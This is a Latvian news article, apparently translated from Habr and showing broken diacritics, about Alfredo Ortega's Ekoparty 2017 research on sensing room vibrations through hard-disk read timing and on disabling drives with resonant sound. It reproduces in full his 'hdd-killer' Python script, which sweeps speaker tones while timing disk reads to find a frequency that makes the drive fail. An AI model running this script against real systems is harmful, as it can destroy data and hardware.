DatordroŔības konferencÄ Ekoparty 2017 BuenosairesÄ argentÄ«nieÅ”u hakeris Alfredo Ortega demonstrÄja ļoti interesantu izstrÄdni - sistÄmu telpu slÄptai telefonsarunu noklausÄ«Å”anai, neizmantojot mikrofonu. SkaÅa
HDD galvenokÄrt uztver augstas intensitÄtes zemas frekvences skaÅas, soļus un citas vibrÄcijas. CilvÄka runu vÄl nevar atpazÄ«t, lai gan zinÄtnieki
SkaÅa ir gaisa vai cita nesÄja vibrÄcija. CilvÄks tos uztver caur bungÄdiÅu, kas pÄrraida vibrÄcijas uz iekÅ”Äjo ausi. Mikrofons veidots aptuveni kÄ auss ā arÄ« Å”eit vibrÄcijas fiksÄ plÄna membrÄna, kas ierosina elektrisko impulsu. Cietais disks, protams, ir pakļauts arÄ« mikroskopiskÄm vibrÄcijÄm apkÄrtÄjÄ gaisa svÄrstÄ«bu dÄļ. Tas ir zinÄms pat no HDD tehniskajiem parametriem: ražotÄji parasti norÄda maksimÄlo pieļaujamo vibrÄcijas lÄ«meni, un pats cietais disks bieži mÄÄ£ina to ievietot vibrÄcijas izturÄ«gÄ konteinerÄ, kas izgatavots no gumijas vai cita izolÄcijas materiÄla. No tÄ ir viegli secinÄt, ka skaÅas var ierakstÄ«t, izmantojot HDD. Atliek tikai izdomÄt, kÄ.
Alfredo Ortega ierosinÄja unikÄlu sÄnu kanÄlu uzbrukuma versiju, proti, laika uzbrukumu. Å is uzbrukums ir balstÄ«ts uz pieÅÄmumu, ka ierÄ«cÄ dažÄdos laikos tiek veiktas dažÄdas darbÄ«bas atkarÄ«bÄ no ievadÄ«tajiem ievades datiem. Å ajÄ gadÄ«jumÄ āievades datiā ir lasÄ«Å”anas galviÅas un HDD Ŕķīvja vibrÄcijas, kas korelÄ ar vides vibrÄcijÄm, tas ir, ar skaÅu. TÄdÄjÄdi, mÄrot aprÄÄ·ina laiku un veicot datu statistisko analÄ«zi, ir iespÄjams izmÄrÄ«t galvas/plates vibrÄcijas un lÄ«dz ar to arÄ« vides vibrÄcijas. Jo ilgÄka ir datu nolasÄ«Å”anas aizkave, jo spÄcÄ«gÄka ir HDD vibrÄcija un lÄ«dz ar to skaļÄka skaÅa.
KÄ izmÄrÄ«t cietÄ diska vibrÄcijas? Ä»oti vienkÄrÅ”i: vienkÄrÅ”i palaidiet sistÄmas zvanu read ()
ā un pierakstiet laiku, kas nepiecieÅ”ams pabeigÅ”anai. MÅ«sdienu operÄtÄjsistÄmas ļauj nolasÄ«t sistÄmas zvanu laiku ar nanosekundes precizitÄti.
InformÄcijas nolasÄ«Å”anas Ätrums no sektora ir atkarÄ«gs no galviÅas un Ŕķīvja stÄvokļa, kas korelÄ ar HDD korpusa vibrÄcijÄm. Tas ir viss.
StatistiskÄ analÄ«ze tiek veikta, izmantojot vienkÄrÅ”u Kscope utilÄ«tu. KÄ saka, viss Ä£eniÄlais ir vienkÄrÅ”s.
Kscope utilīta (stat() syscall)
Kscope ir neliela utilÄ«ta, lai vizualizÄtu nelielas sistÄmas zvanu izpildes laika atŔķirÄ«bas. Avots
AtseviÅ”Ä·Ä repozitorijÄ read ()
.
SkaÅas ierakstÄ«Å”anas demonstrÄÅ”ana, izmantojot HDD, utilÄ«ta Kscope darbÄ«ba
Protams, runu Å”ÄdÄ veidÄ nevar saprast, taÄu HDD ir diezgan piemÄrots kÄ vibrÄcijas sensors. PiemÄram, jÅ«s varat reÄ£istrÄties, ja telpÄ ar datoru ienÄca persona, kas valkÄ cietus apavus vai basÄm kÄjÄm (iespÄjams, ja uzbrucÄjs ir uzvilcis mÄ«kstas kedas vai uz grÄ«das ir biezs paklÄjs, HDD nevarÄs reÄ£istrÄt vibrÄcijas - to ir vÄrts pÄrbaudÄ«t). Dators spÄj reÄ£istrÄt stikla plÄ«sumus vai citus incidentus ar spÄcÄ«gu skaÅas intensitÄti. Tas ir, cietais disks var kalpot kÄ sava veida nesankcionÄta ielauÅ”anÄs atklÄÅ”anas sistÄma.
HDD slepkava
Starp citu, lÄ«dzÄ«gu paÅÄmienu var izmantot, lai atspÄjotu cietos diskus. Tikai Å”eit mÄs nenoÅemam svÄrstÄ«bas no HDD, bet gluži pretÄji, mÄs Ä£enerÄjam svÄrstÄ«bas, kas tiek ievadÄ«tas HDD. Ja atskaÅojat skaÅu no skaļruÅa frekvencÄ, kas rezonÄ ar HDD frekvenci, sistÄma drÄ«z izslÄdz ierÄ«ci ar I/O kļūdu (Linux kodols pilnÄ«bÄ izslÄdz HDD pÄc 120 sekundÄm). Pats cietais disks var ciest neatgriezeniskus bojÄjumus.
Linux kodols izslÄdza cieto disku pÄc 120 sekundÄm, kad skaÅa tika nodroÅ”inÄta ar rezonanses frekvenci caur Edifier r19u USB skaļruÅa skaļruni. Skaļrunis ir ieslÄgts ar aptuveni ceturtdaļu no jaudas (mazÄk nekÄ 100 mW) un atrodas 20 cm attÄlumÄ no HDD un ir vÄrsts pret galdu, lai uzlabotu vibrÄcijas. RÄmis no
Interesanti, ka Å”Ädi āuzbrukumiā cietajiem diskiem ikdienas dzÄ«vÄ notiek pilnÄ«gi nejauÅ”i. PiemÄram, 2016. gada septembrÄ« ING Bank datu centrs pÄc ugunsdzÄsÄ«bas mÄcÄ«bÄm bija spiests apturÄt darbÄ«bu uz 10 stundÄm.
DemonstrÄcija, kÄ datu centrÄ cilvÄki kliedz uz cietajiem diskiem. Latenta mÄrÄ«Å”ana
Lai radÄ«tu rezonÄjoÅ”o skaÅu, Alfredo Ortega uzrakstÄ«ja Python skriptu ar nosaukumu
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Avots: www.habr.com